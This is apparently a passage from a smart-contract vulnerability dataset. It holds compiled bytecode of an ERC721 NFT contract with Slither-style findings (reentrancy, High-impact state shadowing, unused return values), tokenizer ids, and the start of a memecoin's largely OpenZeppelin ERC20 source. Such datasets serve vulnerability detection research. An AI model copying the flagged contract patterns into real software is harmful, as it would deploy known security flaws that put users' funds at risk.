b36612abf565b5b6000612b4584828501612b0c565b91505092915050565b60008115159050919050565b612b6381612b4e565b82525050565b6000602082019050612b7e6000830184612b5a565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612bbe578082015181840152602081019050612ba3565b83811115612bcd576000848401525b50505050565b6000601f19601f8301169050919050565b6000612bef82612b84565b612bf98185612b8f565b9350612c09818560208601612ba0565b612c1281612bd3565b840191505092915050565b60006020820190508181036000830152612c378184612be4565b905092915050565b6000819050919050565b612c5281612c3f565b8114612c5d57600080fd5b50565b600081359050612c6f81612c49565b92915050565b600060208284031215612c8b57612c8a612abf565b5b6000612c9984828501612c60565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ccd82612ca2565b9050919050565b612cdd81612cc2565b82525050565b6000602082019050612cf86000830184612cd4565b92915050565b612d0781612cc2565b8114612d1257600080fd5b50565b600081359050612d2481612cfe565b92915050565b60008060408385031215612d4157612d40612abf565b5b6000612d4f85828601612d15565b9250506020612d6085828601612c60565b9150509250929050565b600060208284031215612d8057612d7f612abf565b5b6000612d8e84828501612d15565b91505092915050565b612da081612c3f565b82525050565b6000602082019050612dbb6000830184612d97565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612dfe82612bd3565b810181811067ffffffffffffffff82111715612e1d57612e1c612dc6565b5b80604052505050565b6000612e30612ab5565b9050612e3c8282612df5565b919050565b600067ffffffffffffffff821115612e5c57612e5b612dc6565b5b602082029050602081019050919050565b600080fd5b6000612e85612e8084612e41565b612e26565b90508083825260208201905060208402830185811115612ea857612ea7612e6d565b5b835b81811015612ed15780612ebd8882612c60565b845260208401935050602081019050612eaa565b5050509392505050565b600082601f830112612ef057612eef612dc1565b5b8135612f00848260208601612e72565b91505092915050565b60008060408385031215612f2057612f1f612abf565b5b6000612f2e85828601612c60565b925050602083013567ffffffffffffffff811115612f4f57612f4e612ac4565b5b612f5b85828601612edb565b9150509250929050565b600080600060608486031215612f7e57612f7d612abf565b5b6000612f8c86828701612d15565b9350506020612f9d86828701612d15565b9250506040612fae86828701612c60565b9150509250925092565b600061ffff82169050919050565b612fcf81612fb8565b8114612fda57600080fd5b50565b600081359050612fec81612fc6565b92915050565b60006020828403121561300857613007612abf565b5b600061301684828501612fdd565b91505092915050565b6000806040838503121561303657613035612abf565b5b600061304485828601612c60565b925050602061305585828601612c60565b9150509250929050565b60006040820190506130746000830185612cd4565b6130816020830184612d97565b9392505050565b600080fd5b600067ffffffffffffffff8211156130a8576130a7612dc6565b5b6130b182612bd3565b9050602081019050919050565b82818337600083830152505050565b60006130e06130db8461308d565b612e26565b9050828152602081018484840111156130fc576130fb613088565b5b6131078482856130be565b509392505050565b600082601f83011261312457613123612dc1565b5b81356131348482602086016130cd565b91505092915050565b60006020828403121561315357613152612abf565b5b600082013567ffffffffffffffff81111561317157613170612ac4565b5b61317d8482850161310f565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b600381106131c6576131c5613186565b5b50565b60008190506131d7826131b5565b919050565b60006131e7826131c9565b9050919050565b6131f7816131dc565b82525050565b600060208201905061321260008301846131ee565b92915050565b61322181612b4e565b811461322c57600080fd5b50565b60008135905061323e81613218565b92915050565b6000806040838503121561325b5761325a612abf565b5b600061326985828601612d15565b925050602061327a8582860161322f565b9150509250929050565b61328d81612fb8565b82525050565b60006020820190506132a86000830184613284565b92915050565b600067ffffffffffffffff8211156132c9576132c8612dc6565b5b6132d282612bd3565b9050602081019050919050565b60006132f26132ed846132ae565b612e26565b90508281526020810184848401111561330e5761330d613088565b5b6133198482856130be565b509392505050565b600082601f83011261333657613335612dc1565b5b81356133468482602086016132df565b91505092915050565b6000806000806080858703121561336957613368612abf565b5b600061337787828801612d15565b945050602061338887828801612d15565b935050604061339987828801612c60565b925050606085013567ffffffffffffffff8111156133ba576133b9612ac4565b5b6133c687828801613321565b91505092959194509250565b6000819050919050565b6133e5816133d2565b81146133f057600080fd5b50565b600081359050613402816133dc565b92915050565b60006020828403121561341e5761341d612abf565b5b600061342c848285016133f3565b91505092915050565b6000806040838503121561344c5761344b612abf565b5b600061345a85828601612d15565b925050602061346b85828601612d15565b9150509250929050565b600067ffffffffffffffff82169050919050565b61349281613475565b811461349d57600080fd5b50565b6000813590506134af81613489565b92915050565b6000602082840312156134cb576134ca612abf565b5b60006134d9848285016134a0565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061352957607f821691505b6020821081141561353d5761353c6134e2565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b600061359f602c83612b8f565b91506135aa82613543565b604082019050919050565b600060208201905081810360008301526135ce81613592565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000613631602183612b8f565b915061363c826135d5565b604082019050919050565b6000602082019050818103600083015261366081613624565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b60006136c3603883612b8f565b91506136ce82613667565b604082019050919050565b600060208201905081810360008301526136f2816136b6565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061372f602083612b8f565b915061373a826136f9565b602082019050919050565b6000602082019050818103600083015261375e81613722565b9050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b600061379b600f83612b8f565b91506137a682613765565b602082019050919050565b600060208201905081810360008301526137ca8161378e565b9050919050565b60006040820190506137e66000830185612cd4565b6137f36020830184612cd4565b9392505050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b6000613856603183612b8f565b9150613861826137fa565b604082019050919050565b6000602082019050818103600083015261388581613849565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006138c682612c3f565b91506138d183612c3f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561390a5761390961388c565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061394f82612c3f565b915061395a83612c3f565b92508261396a57613969613915565b5b828204905092915050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b60006139d1602983612b8f565b91506139dc82613975565b604082019050919050565b60006020820190508181036000830152613a00816139c4565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000613a63602a83612b8f565b9150613a6e82613a07565b604082019050919050565b60006020820190508181036000830152613a9281613a56565b9050919050565b7f57726f6e67206964000000000000000000000000000000000000000000000000600082015250565b6000613acf600883612b8f565b9150613ada82613a99565b602082019050919050565b60006020820190508181036000830152613afe81613ac2565b9050919050565b600081519050613b1481613218565b92915050565b600060208284031215613b3057613b2f612abf565b5b6000613b3e84828501613b05565b91505092915050565b7f6f6e676f696e67207072656d696e740000000000000000000000000000000000600082015250565b6000613b7d600f83612b8f565b9150613b8882613b47565b602082019050919050565b60006020820190508181036000830152613bac81613b70565b9050919050565b7f52616e646f6d206e6f7420696e697469616c697a656400000000000000000000600082015250565b6000613be9601683612b8f565b9150613bf482613bb3565b602082019050919050565b60006020820190508181036000830152613c1881613bdc565b9050919050565b6000613c2a82612c3f565b9150613c3583612c3f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c6a57613c6961388c565b5b828201905092915050565b600081519050613c8481612cfe565b92915050565b600060208284031215613ca057613c9f612abf565b5b6000613cae84828501613c75565b91505092915050565b600081519050613cc681612c49565b92915050565b600060208284031215613ce257613ce1612abf565b5b6000613cf084828501613cb7565b91505092915050565b6000613d0482612c3f565b9150613d0f83612c3f565b925082821015613d2257613d2161388c565b5b828203905092915050565b6000613d3882612c3f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d6b57613d6a61388c565b5b600182019050919050565b613d7f816133d2565b82525050565b613d8e81613475565b82525050565b6000819050919050565b600063ffffffff82169050919050565b6000819050919050565b6000613dd3613dce613dc984613d94565b613dae565b613d9e565b9050919050565b613de381613db8565b82525050565b6000819050919050565b6000613e0e613e09613e0484613de9565b613dae565b613d9e565b9050919050565b613e1e81613df3565b82525050565b600060a082019050613e396000830188613d76565b613e466020830187613d85565b613e536040830186613284565b613e606060830185613dda565b613e6d6080830184613e15565b9695505050505050565b7f55524920717565727920666f72206e6f6e6578697374656e7420746f6b656e00600082015250565b6000613ead601f83612b8f565b9150613eb882613e77565b602082019050919050565b60006020820190508181036000830152613edc81613ea0565b9050919050565b600081905092915050565b60008190508160005260206000209050919050565b60008154613f1081613511565b613f1a8186613ee3565b94506001821660008114613f355760018114613f4657613f79565b60ff19831686528186019350613f79565b613f4f85613eee565b60005b83811015613f7157815481890152600182019150602081019050613f52565b838801955050505b50505092915050565b6000613f8d82612b84565b613f978185613ee3565b9350613fa7818560208601612ba0565b80840191505092915050565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600082015250565b6000613fe9600583613ee3565b9150613ff482613fb3565b600582019050919050565b600061400b8285613f03565b91506140178284613f82565b915061402282613fdc565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061408a602683612b8f565b91506140958261402e565b604082019050919050565b600060208201905081810360008301526140b98161407d565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006140fa82612c3f565b915061410583612c3f565b92508261411557614114613915565b5b828206905092915050565b60006040820190506141356000830185612d97565b6141426020830184612d97565b9392505050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b60006141a5602c83612b8f565b91506141b082614149565b604082019050919050565b600060208201905081810360008301526141d481614198565b9050919050565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b6000614237602983612b8f565b9150614242826141db565b604082019050919050565b600060208201905081810360008301526142668161422a565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006142c9602483612b8f565b91506142d48261426d565b604082019050919050565b600060208201905081810360008301526142f8816142bc565b9050919050565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b6000614335601483612b8f565b9150614340826142ff565b602082019050919050565b6000602082019050818103600083015261436481614328565b9050919050565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b60006143a1601083612b8f565b91506143ac8261436b565b602082019050919050565b600060208201905081810360008301526143d081614394565b9050919050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b600061440d601983612b8f565b9150614418826143d7565b602082019050919050565b6000602082019050818103600083015261443c81614400565b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b600061449f603283612b8f565b91506144aa82614443565b604082019050919050565b600060208201905081810360008301526144ce81614492565b9050919050565b600081519050919050565b600082825260208201905092915050565b60006144fc826144d5565b61450681856144e0565b9350614516818560208601612ba0565b61451f81612bd3565b840191505092915050565b600060808201905061453f6000830187612cd4565b61454c6020830186612cd4565b6145596040830185612d97565b818103606083015261456b81846144f1565b905095945050505050565b60008151905061458581612af5565b92915050565b6000602082840312156145a1576145a0612abf565b5b60006145af84828501614576565b9150509291505056fea26469706673582212205847da0c470520c80b441b41cd74e5d81b78d24b22bc700f0be4c8d5b9aff04d64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'shadowing-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 18939, 10322, 2620, 9468, 2063, 17914, 2063, 2683, 2475, 2278, 2620, 26005, 24087, 2683, 21619, 4402, 2497, 2581, 3207, 17914, 2629, 2546, 2509, 2278, 17914, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 5906, 1013, 9413, 2278, 2581, 17465, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19706, 1013, 29464, 11890, 24594, 2620, 2487, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3036, 1013, 29025, 19150, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,874
0x95dCf74E37A7d68cD365dC558A69c503BD6313bB
/** *Submitted for verification at Etherscan.io on 2022-02-08 */ // https://t.me/BabyMarshallRoganEntry // SPDX-License-Identifier: MIT pragma solidity =0.8.10 >=0.8.10 >=0.8.0 <0.9.0; pragma experimental ABIEncoderV2; ////// lib/openzeppelin-contracts/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) /* pragma solidity ^0.8.0; */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } ////// lib/openzeppelin-contracts/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) /* pragma solidity ^0.8.0; */ /* import "../utils/Context.sol"; */ /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol) /* pragma solidity ^0.8.0; */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol) /* pragma solidity ^0.8.0; */ /* import "../IERC20.sol"; */ /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } ////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol // OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol) /* pragma solidity ^0.8.0; */ /* import "./IERC20.sol"; */ /* import "./extensions/IERC20Metadata.sol"; */ /* import "../../utils/Context.sol"; */ /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } ////// lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.0 (utils/math/SafeMath.sol) /* pragma solidity ^0.8.0; */ // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) 